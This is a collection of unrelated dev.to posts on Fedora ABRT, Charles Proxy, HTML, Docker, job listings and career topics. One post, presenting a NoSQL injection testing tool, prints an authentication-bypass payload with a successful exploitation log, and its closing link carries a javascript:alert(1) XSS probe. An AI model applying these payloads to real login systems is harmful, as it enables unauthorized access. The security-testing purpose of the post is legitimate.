teleren/devto huggingface dataset:
Disabling Fedora ABRT notification
Tags: fedora, systemd, bash, linux
Published: 2019-08-07 09:14:36

---
title: Disabling Fedora ABRT notification
published: true
tags: Fedora,Systemd,Bash,Linux
canonical_url: 
---

I dont like ABRT because it spamming my fedora system notification. It kinda disturbing me, so because of the MCE ABRT notification keep spamming, I suggest to set `OnlyFatalMCE = yes` in `/etc/abrt/plugins/oops.conf` (you need root access to modify this file).

If needed, try to disable some ABRT related service. You can find it with this command

```
$ sudo systemctl -t service | grep abrt
```

for example, I got 4 systemd services:

```
abrt-journal-core.service loaded active running Creates ABRT problems from coredumpctl messages                              
abrt-oops.service loaded active running ABRT kernel log watcher                                                      
abrt-xorg.service loaded active running ABRT Xorg log watcher                                                        
abrtd.service
```

Now let stop it (for current session) and disable it (for next reboot)

```
$ sudo systemctl stop abrt-journal-core.service 
$ sudo systemctl disable abrt-journal-core.service

$ sudo systemctl stop abrt-oops.service
$ sudo systemctl disable abrt-oops.service

$ sudo systemctl stop abrt-xorg.service
$ sudo systemctl disable abrt-xorg.service

$ sudo systemctl stop abrtd.service
$ sudo systemctl disable abrtd.service
```

Now reboot your workstation. You should not getting anymore ABRT notification anymore.

Note: This my current step, it maybe incorrect :stuck\_out\_tongue: and I do not encourge you to disabling automatic problem reporting (ABRT) for no reason because ABRT is a set of tools to help you to detect and report crashes. It’s main purpose is to ease the process of reporting an issue and finding a solution.
Charles Proxy
Tags: proxy, mitm, frontend
Published: 2019-05-14 17:38:12

---
title: Charles Proxy
published: true
description: A useful tools for frontend development
tags: proxy,mitm,front-end
cover_image: https://thepracticaldev.s3.amazonaws.com/i/z8ymm7qvtejqa0uvmovf.png
---

## Charles What?

[Charles Proxy](https://www.charlesproxy.com/) is a GUI to "man-in-the-middle" (MITM) yourself by snooping and/or modifying your own HTTP(S) requests. Usually, this is seen as a problem. However, it can be an immensely powerful tool for front-end development. I will explain what can be done with it.

## Test Updates Before Go-Live

I used to maintain a JavaScript file which was deployed on hundreds of e-commerce websites. There were times I needed to know if my logic was going to work before deploying. So, in this case, I would "Map Local" the JavaScript file. This allowed me to map HTTP(S) requests for the remote JavaScript file to a local .js file instead. This is how I would know that my code was solid, before deployment.

A customer once claimed my JavaScript was breaking their website. To prove that that was not the case, I quickly mapped the production .js file to a blank file, and proved that their website was still broken even with my .js file having no content.

## Test Production Level Data

Unfortunately, a production environment sometimes includes data which is missing within development or UAT environments. Perhaps an edge-case of the system is the reason. If I need to test a front-end change with this set of data, I could use the "Rewrite" feature of Charles to replace the body of a development or UAT request to be whatever data that I need to test. This often times is much faster to do, rather than mocking up the data for the interface to use.

## Test Backends

In the last example, let's say you spun up a resource in Europe (you know because of privacy laws) for your backend. You want to test end-to-end that the new region is working, before pointing your library to this new region. In this case, you can "Map Remote". Just swap your US region DNS with your EU region DNS.

## That's Charles

Hopefully this illustrates a valuable tool for you. Sometimes working with the front-end of the web can feel like having super-powers. You can do anything you want and most likely no one will know. The same cannot always be said when you make changes to backend technologies.
Tip #3 A Very Basic Html Structure
Tags: showdev, html, webdev, beginners
Published: 2019-05-14 17:17:48

---
title: Tip #3 A Very Basic Html Structure
published: true
description: a starting off point for projects
tags: showdev, html, webdev, beginners
series: Frontend Tips and tricks
---
*This series is about all the neat little HTML/CSS/JS tricks I found and keep finding. Most of these are things that initially took me quite a long time to find or figure out and some are just useful tricks that I use in my day to day.*

There might be some stuff missing in the head, but I think this code is a good jumping off point to start a simple project

``` html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <meta name="viewport" content="width=device-width">
    <link rel="canonical" href="https://dev.to/" />
    <meta name="theme-color" content="#000000" />
    <meta name="description" content="">
    <meta name="keywords" content="">
    <link rel="icon" type="image/png" sizes="32x32" href="">
    <link rel="icon" type="image/png" sizes="16x16" href="">
    <link rel="stylesheet" href="" />
</head>
<body>
<a href="#content" class="visuallyhidden">Skip Nav</a>
<header>
    <nav></nav>
</header>

<main id="content">
    <h1></h1>
</main>
<footer></footer>
</body>
</html>
```
Can I Borrow Some Time From Someone with a Mac & iPhone? Safari Debugging Question.
Tags: help, ios, discuss, ineedamac
Published: 2019-05-14 16:49:57

Hi Dev,

I'm trying to figure out this weird bug that only happens in, as far as I can tell, iOS Safari. Please see attached Gif:
 
![](https://thumbs.gfycat.com/EmbarrassedThinAsianpiedstarling-size_restricted.gif)

I don't have access to a Mac, so I'm kind of shooting in the dark without Safari devTools. The biggest thing that's weird is that the menu works as expected when viewed in Landscape, but when you flip back to portrait it lingers for a second before flipping over to the mobile styles. 

As far as I can tell it has to do with the `overflow-x: scroll;` but without being on a Mac, it's hard to tell. 

[Nav In Question](https://shoolu.com)

Any suggestions or help would be appreciated!


Edited for clarification: 

My issue is that when you click on an item (.mainNav-item) in the Main Nav (.mainNav) the drop down menu (.mainNav-subMenu) is displaying but not overflowing. The JS is working to add the is-open class to .mainNav-subMenu because (it's hard to tell from the gif) the drop down's drop shadow is displaying.

The even weirder part is that when you flip from portrait to landscape mode, the issue goes away and the .mainNav-subMenu displays as it's supposed to.

The only Mobile Specific SCSS I have for the menu is:

```scss
// MobileStyle mixin to add max-width media query
@include mobileStyles() {

    nav.mainNav {
        width: 100vw;

        .mainNav-list {
            overflow-x: scroll;
            flex-wrap: nowrap;
        }

        .mainNav-item {
            flex: 1 0 auto;
        }
    }

} 
```

and when I take off the overflow-x: scroll the menus display as expected, but now make the page way wider than the screen.
One Docker Image to Rule them All
Tags: angular, docker, kubernetes
Published: 2019-05-14 16:35:18

We have a website with multiple divisions. We want to reuse the same docker image for all the divisions.

First approach was to load the configuration dynamically from a server (depending on the `ENV` variables in the image). This would mean that every client will have to send the request and that the configuration server's uptime is crucial.

We are now using variables in the `environment.ts` file, eg:

```
export const environment = {
  ...
  url: 'https://__DOMAIN__',
  ...
}
```

We then have an `entrypoint.sh` script for the docker which can be called with arguments and replaces the strings in the application.

```
#!/bin/bash

DOMAIN="$1"

for filename in dist/**/*.js; do
    if [[ $filename =~ "main" ]]; then
        sed -i -e 's/__DOMAIN__/'$DOMAIN'/g' $filename
    fi
done

...

pm2-runtime start pm2.json --web

```

The image is used in a Kubernetes deployment:

```
...
  spec:
    containers:
      - image: <image-repo>
        args: ["www.ecologic.ch"]  
...
```

`envsubst` would also be a possibility. You would then use `ENV` variables in the `environment`files and use `envsubst` in the `entrypoint` script. In the kubernetes deployment you would then add `env` vars instead of `args`.


## Need more details?

Please let us know if you are interested in more details!
Barebones TODO app, query-less RWD using hooks 
Tags: react, cssgrid
Published: 2019-05-14 16:28:23

---
title: Barebones TODO app, query-less RWD using hooks 
published: true
description: Responsive CSS-Grid w/o queries
tags: react, CSS-Grid
---

I wanted to learn a bit about hooks so I can figure out what everyone in my twitter feed is on about. 🤔

I set out to do a responsive, Media Query-less app that is responsive in both portrait & landscape modes.

I sprinkled a bit of cubic-bezier animation onto one of those components.

(This is my first thing on Dev.to I hope it's useful for learners out there, like me.)

https://github.com/beauhaus/good-karma

![](https://thepracticaldev.s3.amazonaws.com/i/1j6ax6mtl7d9mc8wnzbb.jpg)
Weekly Coding Challenge - Week #10 - Clock
Tags: challenge, javascript, p5js, codeguppy
Published: 2019-05-14 16:23:15

---
title: Weekly Coding Challenge - Week #10 - Clock
published: true
description: Week #10 of the Weekly Coding Challenge program - Clock
tags: challenge, javascript, p5js, codeguppy
canonical_url: https://www.florin-pop.com/blog/2019/05/clock-built-with-p5js/
cover_image: https://www.florin-pop.com/static/474c5a562ead603d433c6904c15f0de6/ff993/clock-built-with-p5js.png
series: Weekly Coding Challenge
---

Theme of the week: **Clock**

### Description

When it comes to clocks, there are a wide range of possibilities that we could approach. This challenge aims to get your creative juices flowing! Let's see what you can create! 😄

## Useful Resources

Check out my submission for this challenge: [Clock build with p5js on CodeGuppy](https://www.florin-pop.com/blog/2019/05/clock-built-with-p5js/).

Are you interested in joining the challenge? :smiley: Read [The Complete Guide](https://www.florin-pop.com/blog/2019/03/weekly-coding-challenge/) to find out how. Don't forget to share your creation! :wink:

Happy Coding! :innocent:
Top 5 DEV Comments from the Past Week
Tags: bestofdev
Published: 2019-05-14 16:21:03

---
title: Top 5 DEV Comments from the Past Week
published: true
description: Highlighting some of the best DEV comments from the past week.
tags: bestofdev
cover_image: https://res.cloudinary.com/practicaldev/image/fetch/s--7VrAA2ln--/c_imagga_scale,f_auto,fl_progressive,h_420,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/qmb5wkoeywj06pd7p8ku.png
---

This is a weekly roundup of awesome DEV comments that you may have missed.  You are welcome and encouraged to boost posts and comments yourself using the **[#bestofdev](/t/bestofdev)** tag.

Replying to **[If you could change one thing about learning to code, what would it be?](https://dev.to/aspittel/if-you-could-change-one-thing-about-learning-to-code-what-would-it-be-10p0)**, @cjbrooks12 talks about the focus on the two extremes: content for absolute beginners and total subject-matter experts, and the voide in-between:
{% devcomment algl %}

@mortoray offered some substantial insight in the **[ELI5: How does someone write a new computer language?](https://dev.to/desi/eli5-how-does-someone-write-a-new-computer-language-1a3n)** thread.  As soon as I saw the thread title, I had hoped that Edaqa would jump in:
{% devcomment akd3 %}

**[Do I Need A Computer Science Degree To Get A Job In Tech?](https://dev.to/skill_pathway/do-i-need-a-computer-science-degree-to-get-a-job-in-tech-5dcf)**  @_adam_barker talks about why a degree is not a requirement, and highlights some qualities that employers look for:
{% devcomment akfa %}

Serving as an in-thread ELI5 (explain like I'm five) **[GitHub announces GitHub Package Registry](https://dev.to/peter/github-announces-github-package-registry-3a27)**, @0xrumple talks about what purpose a package registry serves:
{% devcomment alna %}

Finally, in **[10 Questions You Should Ask In A Web Dev Interview](https://dev.to/flippedcoding/10-questions-you-should-ask-in-a-web-dev-interview-1c2d)** @perigk brings up a few reverse-interview questions that will help reveal company culture:
{% devcomment aknm %}

See you next week for more great comments ✌
Native, high-performance, cross-platform desktop apps - built with Reason! 
Tags: ocaml, reason, electron, discuss
Published: 2019-05-14 16:18:57

---
title: Native, high-performance, cross-platform desktop apps - built with Reason! 
published: true
description: 
tags: ocaml, reasonml, electron, discussion
---

I just discovered [Revery](https://github.com/revery-ui/revery).

Is this a game changer for building desktop apps?
Looking for remote work? Here’s what’s currently available on DEV Listings
Tags: listings, hiring, meta
Published: 2019-05-14 16:12:31

---
title: Looking for remote work? Here’s what’s currently available on DEV Listings
published: true
description: A round-up of the remote-friendly job openings currently on DEV Listings
tags: listings, hiring, meta
series: Remote Positions
---

In case you missed it, one week ago we launched **[DEV Listings](/listings)**.  People have been posting opportunities ranging from mentorship offers, to upcoming events, courses, conference CFPs, and more.

{% link https://dev.to/devteam/announcing-dev-listings-4k1 %}

This is a quick round-up of the **Remote Friendly** positions currently available in the [jobs section](/listings/jobs):

- [Full Stack Developer @ Stackbit](https://dev.to/listings/jobs/help-us-build-the-modern-web-full-stack-developer-stackbit-remote-2a5e)
- [PHP, Node Developer @ bun.cx](https://dev.to/listings/jobs/seeking-php-node-developer-500a)
- [Sr. Developer Advocate @ Heroku](https://dev.to/listings/jobs/sr-developer-advocate-at-heroku-5ek9)
- [Developer Advocate @ Containous](https://dev.to/listings/jobs/developer-advocate-who-s-golang-join-containous-the-creators-of-traefik-2kmo)
- [Principal Engineer @ Philosophie Inc.](https://dev.to/listings/jobs/principal-engineer-philosophie-inc-santa-monica-los-angeles-ca-usa-3ph)
- [Senior Software Engineer @ Philosophie Inc.](https://dev.to/listings/jobs/senior-software-engineer-philosophie-inc-santa-monica-los-angeles-ca-usa-k7f)

Are you hiring?  Consider [posting a listing](/listings/new) to reach the wonderful programmers here in the DEV Community.
ACMarket iOS Installer Availability:
Tags: acmarket
Published: 2019-05-14 16:08:39

ACMarket Team has "Not Released" an official app Installer for iOS; however, you can use the limited apps listed for downloading on your iPhone and iPad. Right now, ACMarket Installer "Cannot be Installed directly on iOS". However, it is possible for iOS users to bookmark the ACMarket app on their iOS devices so that they are kept in the loop as and when ACMarket App ( official page - https://ac-market.org/ ) is released for the iOS. You may also download the ACmarket Alternative app called Tweakbox which is all free.

About iOS Firmware: 

iOS 12 is the latest iOS firmware ( https://www.apple.com/ios/ios-12/ ) and is also one of the most feature-packed. Alongside all the useful features, Apple has also included a number of security features that have all played a part in stopping Cydia from being updated for iOS users. 

These security updates cover all parts of the iOS and iOS devices and include :

System Security – Apple integrates the hardware and software to provide a secure system that includes secure enclave, secure boot chain, and a system of passcode and/or Touch ID

Data Protection and Encryption – each device is protected with AES-256 encryption and a UID (Unique ID). Biometrics and passcodes complete the chain

App Security – official apps are signed into use by Apple; they are run within a sandbox to protect the integrity of the other apps and services on your iOS device

Network Security – industry-standard protocols are in place to provide full security for data in transmission, including support for VPN, TLS, secure Bluetooth and fully protected Wi-Fi

This is just a small overview of the extensive security that Apple has included in iOS and may be part of the reason why ACMarket doesn’t yet work on iOS.
Making easier a NoSQLi pentest
Tags: security, pentest, node
Published: 2019-05-14 15:02:58

---
title: Making easier a NoSQLi pentest
published: true
description: With NodeJS I've created an "exploit" to test APIs which use NoSQL databases
tags: security, pentest, nodejs
---

Hello, everyone!

Today I've created a project which automates a NoSQLi pentest, but this is the first version and I ask for help in this project.

If you have an interest in helping a little project to become a large project to make our life as "security guys" more easier, please, send issues or send a PR.

So, how this project works?

With some info from a request, the "exploit" can test if the request parameters can be exploited with some payloads of NoSQLi.

Example to exploit an login API, where we have a POST request and we have a JSON data with `user` and `pass`:
```
[igor.martins automated]$ nosqli-checkr scan --host="https://nosql-checkr-test.herokuapp.com/api/v1/login" --data='{ "user": "wubba", "pass": "" }' --method="post" --params="pass" --error-message='{"success":false,"result":"user/pass not found"}'


 ███╗   ██╗  ██████╗  ███████╗  ██████╗  ██╗      ██╗      ██████╗ ██╗  ██╗ ███████╗  ██████╗ ██╗  ██╗ ██████╗  
 ████╗  ██║ ██╔═══██╗ ██╔════╝ ██╔═══██╗ ██║      ██║     ██╔════╝ ██║  ██║ ██╔════╝ ██╔════╝ ██║ ██╔╝ ██╔══██╗ 
 ██╔██╗ ██║ ██║   ██║ ███████╗ ██║   ██║ ██║      ██║     ██║      ███████║ █████╗   ██║      █████╔╝  ██████╔╝ 
 ██║╚██╗██║ ██║   ██║ ╚════██║ ██║▄▄ ██║ ██║      ██║     ██║      ██╔══██║ ██╔══╝   ██║      ██╔═██╗  ██╔══██╗ 
 ██║ ╚████║ ╚██████╔╝ ███████║ ╚██████╔╝ ███████╗ ██║     ╚██████╗ ██║  ██║ ███████╗ ╚██████╗ ██║  ██╗ ██║  ██║ 
 ╚═╝  ╚═══╝  ╚═════╝  ╚══════╝  ╚══▀▀═╝  ╚══════╝ ╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚══════╝  ╚═════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ 


✔ Request finished
✔ Response analyzed
✔ https://nosql-checkr-test.herokuapp.com/api/v1/login is vulnerable

ℹ Payload: {"$gt":""}
ℹ Evil data 😈: {"user":"wubba","pass":{"$gt":""}}
ℹ Data stoled:
{
    "success": true,
    "result": {
        "user": "wubba",
        "_id": "hVFQzFwVlMwCYFBT"
    }
}

```

The "exploit" test the param `pass` and find a payload `{"$gt":""}` which can exploit the NoSQL Injection flaw.

### Parameters

- `-h or --host`: Route URL. Ex: https://nosql-checkr-test.herokuapp.com/api/v1/login
- `-hr or --headers`: Request headers. Ex: token:val or token:val;token2:val2
- `-d or --data`: Request data: Ex: { "user": "wubba", "pass": "" }
- `-m or --method`: Request method: Ex: post or POST
- `-p or --params`: Request params which will be exploited: Ex: pass or user,pass
- `-e or --error-message`: The default error message of request. Ex: {"success":false,"result":"user/pass not found"}

[Github Project](https://github.com/nulldreams/nosqli-checkr)

[Github Project](javascript:alert(1))
Learn to Write and Write to learn
Tags: blog, writing, technicalwriting
Published: 2019-05-14 14:58:18

---
title: Learn to Write and Write to learn
published: true
description: Blog on the importance of Technical Writing
tags: Blog, Writing, Technical Writing
---
“The first draft is just you telling yourself the story.”

― Terry Pratchett

One often undervalued aspect in Software development is Writing. Technical Writing is much more complicated than coding at times.  When I started Software Development, I always thought documentation is an exercise in futile. The code is either easy to understand for anyone and if not completely non understandable for anyone. In my first job, we were exploring and learning an ERP platform. The company gave me enough freedom to spend time on research and make sure I completely understand the Product. 

Probably 6 months in to the job, I had written a personal blog on something that I don't remember now. Reading through that, my boss suggested I should try my hand at Blogging about the platform we were working on and the challenges we were facing on it. I thought this was a simple exercise. Only as I started writing my first blog post did I realize that I did not know much about the functionality I was going to blog about. The thing with mind is sometimes it's way more powerful than what we give credit for. It knows that you are a troubled soul and many times to keep you at peace, it gives you a false impression that you have understood things even though the truth could be otherwise. The same dawned on me that day. 

My first blog post is in this blog and now 121 posts later, I am still amazed how far I went in a short span of time. From May 2010 till May 2011, I remember going crazy and writing almost 2-3 blog posts a week. It's not much by current standards, but with my work, even to manage that time is more surprising to me. 

The reason for this blog post now is because, I was looking back at the fact that, it is this very blog that had got me my last 2 jobs and still makes me feel good about myself when someone references my blogs during development. To those devs, who are starting out now and even to those who can't write to save their life, use this opportunity to remind yourself that more you learn to write about your developments, the more you will understand and the more you can share with the community. 



I am planning to write more blogs henceforth on generic topics related to Software Development and if you want any specific topic addressed, please do let me know. 


Happy coding...
P.S : I have published the same in my personal blog as well [here](https://shaanob.blogspot.com/2019/05/learn-to-write-and-write-to-learn.html).
No Mental Health Left
Tags: career, mentalhealth, anxiety
Published: 2019-05-14 14:46:37

---
title: No Mental Health Left
published: true
description: I recently tried to change my job and it didn't end up well
tags: #career #mentalhealth #anxiety
---

I have a big problem in my personality.

I whine a lot and I am always "crying" about what happens in my life instead of actually taking action towards things.

I feel like I need a lot of counseling and advice to be able to move forward with my life.

If you have read my last post, I recently tried to change my job and it didn't end up well.

Since then I've had a little bit of depression.

I feel really tired with no motivation to keep learning how to code neither to search for another job.

With my lack of energy I am slacking off in finishing my side projects.

I might leave the company that I am currently working on in a few months and I am not quite prepared for it yet.

I am using this post to unburden a little bit so I can try to get some motivation and energy.

My current goal is to search for motivation to keep learning/searching for a job and to stop complaining so much about life.

I'll keep complaining and sharing my experience at my blog but I want to reduce this annoying thing in real life.